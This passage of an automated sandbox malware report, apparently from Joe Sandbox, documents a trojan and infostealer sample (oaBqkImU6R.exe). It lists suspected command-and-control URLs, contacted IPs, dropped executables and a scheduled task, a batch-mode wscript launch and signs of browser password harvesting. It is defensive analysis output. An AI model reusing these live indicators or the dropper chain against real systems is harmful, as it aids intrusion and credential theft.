Source: oaBqkImU6R.exe, 00000001.00000003.1502223186.0000000001444000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1475613413.0000000001433000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1488001565.0000000001433000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1490995619.0000000001436000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1469604188.0000000001430000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1473166707.0000000001433000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1491162640.0000000001443000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1491943472.0000000001444000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1491059863.000000000143E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://warlikedbeliev.org/api6I
Source: oaBqkImU6R.exe, 00000001.00000002.1579080411.0000000001445000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://warlikedbeliev.org/apiIN
Source: oaBqkImU6R.exe, 00000001.00000003.1459340093.0000000001455000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1469604188.0000000001455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://warlikedbeliev.org/apic=
Source: oaBqkImU6R.exe, 00000001.00000003.1488001565.0000000001455000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1475613413.0000000001455000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1459340093.0000000001455000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1469604188.0000000001455000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1473166707.0000000001455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://warlikedbeliev.org/apifm
Source: oaBqkImU6R.exe, 00000001.00000003.1502352820.00000000013ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://warlikedbeliev.org/apitat
Source: oaBqkImU6R.exe, 00000001.00000003.1429392945.00000000013B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://warlikedbeliev.org/n
Source: oaBqkImU6R.exe, 00000001.00000003.1511961303.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://warlikedbeliev.org/v
Source: oaBqkImU6R.exe, 00000001.00000003.1502223186.0000000001451000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1488001565.0000000001451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://warlikedbeliev.org/~
Source: Avoiding.com, 00000015.00000002.2804888253.0000000000F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: oaBqkImU6R.exe, 00000001.00000003.1487893904.0000000005D04000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1487831107.0000000005CFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_f6f292994d7c60be109e4c185cbc03032d36d17160d4e639
Source: Macromedia.com, 0000002E.00000002.2801936016.0000000001135000.00000004.00000020.00020000.00000000.sdmp, Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: oaBqkImU6R.exe, 00000001.00000003.1429229521.000000000142D000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1429250841.00000000013E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: oaBqkImU6R.exe, 00000001.00000003.1429250841.00000000013E1000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1429475990.000000000142A000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1429250841.000000000141D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: oaBqkImU6R.exe, 00000001.00000003.1445578593.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1445751240.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2810602524.00000000043A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Macromedia.com, 0000002E.00000003.2505239227.0000000003C59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: oaBqkImU6R.exe, 00000001.00000003.1445578593.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1445751240.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2810602524.00000000043A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: oaBqkImU6R.exe, 00000001.00000003.1487893904.0000000005D04000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1487831107.0000000005CFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: oaBqkImU6R.exe, 00000001.00000003.1475821285.000000000601A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.8Z86fTxZfkM6
Source: oaBqkImU6R.exe, 00000001.00000003.1475821285.000000000601A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.UnUp0v0CLe9Y
Source: oaBqkImU6R.exe, 00000001.00000003.1475821285.000000000601A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: oaBqkImU6R.exe, 00000001.00000003.1475821285.000000000601A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: oaBqkImU6R.exe, 00000001.00000003.1475821285.000000000601A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: f10455927a.exe, 00000017.00000003.2247496102.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243689431.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, f10455927a.exe, 00000017.00000003.2243233057.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: f10455927a.exe, 00000017.00000002.2258844385.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61743
Source: unknown	Network traffic detected: HTTP traffic on port 61728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61742
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61758
Source: unknown	Network traffic detected: HTTP traffic on port 61723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61759
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61723
Source: unknown	Network traffic detected: HTTP traffic on port 61722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61726
Source: unknown	Network traffic detected: HTTP traffic on port 61726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61728
Source: unknown	Network traffic detected: HTTP traffic on port 61755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 61741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61733
Source: unknown	Network traffic detected: HTTP traffic on port 61729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61731

Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.203:443 -> 192.168.2.11:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.11:61711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.11:61722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.202.5.153:443 -> 192.168.2.11:61723 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: oaBqkImU6R.exe	Static PE information: section name:
Source: oaBqkImU6R.exe	Static PE information: section name: .idata
Source: oaBqkImU6R.exe	Static PE information: section name:
Source: PT6MNTDM2CSK3U9W2989W1J.exe.1.dr	Static PE information: section name:
Source: PT6MNTDM2CSK3U9W2989W1J.exe.1.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: random[1].exe0.4.dr	Static PE information: section name:
Source: random[1].exe0.4.dr	Static PE information: section name: .idata
Source: random[1].exe0.4.dr	Static PE information: section name:
Source: f10455927a.exe.4.dr	Static PE information: section name:
Source: f10455927a.exe.4.dr	Static PE information: section name: .idata
Source: f10455927a.exe.4.dr	Static PE information: section name:

Wscript called in batch mode (surpress errors)

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js"

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 4_2_00C6CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

4_2_00C6CB97

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	File created: C:\Windows\Tasks\skotes.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	File created: C:\Windows\DpInvestigated	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	File created: C:\Windows\PromotionalToken	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	File created: C:\Windows\PropeciaJoan	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	File created: C:\Windows\WestCornell	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	File created: C:\Windows\SchedulesAb
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	File created: C:\Windows\ContainsBefore
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	File created: C:\Windows\TokenDetroit
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	File created: C:\Windows\AttacksContacted
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F57B9	1_3_013F57B9
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F57B9	1_3_013F57B9
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F57B9	1_3_013F57B9
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_01405ECC	1_3_01405ECC
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_01405ECC	1_3_01405ECC
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_01405ECC	1_3_01405ECC
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F57B9	1_3_013F57B9
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F57B9	1_3_013F57B9
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F57B9	1_3_013F57B9
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_01405ECC	1_3_01405ECC
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_01405ECC	1_3_01405ECC
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_01405ECC	1_3_01405ECC
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F57B9	1_3_013F57B9
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F57B9	1_3_013F57B9
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_013F57B9	1_3_013F57B9
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_01405ECC	1_3_01405ECC
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_01405ECC	1_3_01405ECC
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Code function: 1_3_01405ECC	1_3_01405ECC
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Code function: 3_2_009478BB	3_2_009478BB
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Code function: 3_2_00947049	3_2_00947049
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Code function: 3_2_00948860	3_2_00948860
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Code function: 3_2_009431A8	3_2_009431A8
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Code function: 3_2_00904B30	3_2_00904B30
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Code function: 3_2_00A17B6E	3_2_00A17B6E
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Code function: 3_2_00904DE0	3_2_00904DE0
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Code function: 3_2_00942D10	3_2_00942D10
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Code function: 3_2_0094779B	3_2_0094779B
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Code function: 3_2_00937F36	3_2_00937F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C5E530	4_2_00C5E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C76192	4_2_00C76192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C98860	4_2_00C98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C54B30	4_2_00C54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C54DE0	4_2_00C54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C92D10	4_2_00C92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C70E13	4_2_00C70E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C97049	4_2_00C97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C931A8	4_2_00C931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C71602	4_2_00C71602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C9779B	4_2_00C9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C978BB	4_2_00C978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C73DF1	4_2_00C73DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00C87F36	4_2_00C87F36

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\random[1].exe 27F53D6D1B4F4EDB6C517AC1A517A4E9158D5D96EECCFD324C925D3772C3F44C

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Code function: String function: 009180C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C6DF80 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C6D663 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C6D942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C6D64E appears 53 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C680C0 appears 133 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C67A00 appears 38 times

Source: ffb3ad5f2d.exe.4.dr	Static PE information: Resource name: RT_VERSION type: 0420 Alliant virtual executable common library not stripped
Source: random[1].exe.4.dr	Static PE information: Resource name: RT_VERSION type: 0420 Alliant virtual executable common library not stripped
Source: random[1].exe1.4.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 8b5cf17642.exe.4.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 8b5cf17642.tmp.26.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: 8b5cf17642.tmp.26.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: 8b5cf17642.tmp.30.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: 8b5cf17642.tmp.30.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-4HD48.tmp.31.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-4HD48.tmp.31.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: is-0PAAE.tmp.31.dr

Static PE information: Number of sections : 23 > 10

Source: oaBqkImU6R.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: oaBqkImU6R.exe	Static PE information: Section: ZLIB complexity 0.9984194711538461
Source: oaBqkImU6R.exe	Static PE information: Section: yeeubcqh ZLIB complexity 0.9946162718797564
Source: PT6MNTDM2CSK3U9W2989W1J.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9979670470027248
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9979670470027248
Source: ffb3ad5f2d.exe.4.dr	Static PE information: Section: .reloc ZLIB complexity 1.002685546875
Source: random[1].exe.4.dr	Static PE information: Section: .reloc ZLIB complexity 1.002685546875
Source: random[1].exe0.4.dr	Static PE information: Section: ZLIB complexity 1.0002033221608833
Source: random[1].exe0.4.dr	Static PE information: Section: sbmniyjq ZLIB complexity 0.995026290274463
Source: f10455927a.exe.4.dr	Static PE information: Section: ZLIB complexity 1.0002033221608833
Source: f10455927a.exe.4.dr	Static PE information: Section: sbmniyjq ZLIB complexity 0.995026290274463
Source: random[2].exe.4.dr	Static PE information: Section: .reloc ZLIB complexity 1.002685546875
Source: e18d636f08.exe.4.dr	Static PE information: Section: .reloc ZLIB complexity 1.002685546875

Source: oaBqkImU6R.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@102/104@40/11

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\random[1].exe

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6048:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2864:120:WilError_03

Source: C:\Users\user\Desktop\oaBqkImU6R.exe

File created: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\oaBqkImU6R.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: oaBqkImU6R.exe, 00000001.00000003.1447158331.0000000005D09000.00000004.00000800.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1446861305.0000000005D27000.00000004.00000800.00020000.00000000.sdmp, Avoiding.com, 00000015.00000002.2809570193.0000000004219000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: oaBqkImU6R.exe

Virustotal: Detection: 54%

Source: oaBqkImU6R.exe	String found in binary or memory: p.update.lastUpdateTime.recipe-client-addon-run", 1696503498); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696503523); user_pref("app.update.lastUpdateTime.xpi-signature-v
Source: PT6MNTDM2CSK3U9W2989W1J.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\oaBqkImU6R.exe

File read: C:\Users\user\Desktop\oaBqkImU6R.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\oaBqkImU6R.exe "C:\Users\user\Desktop\oaBqkImU6R.exe"
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Process created: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe "C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe"
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
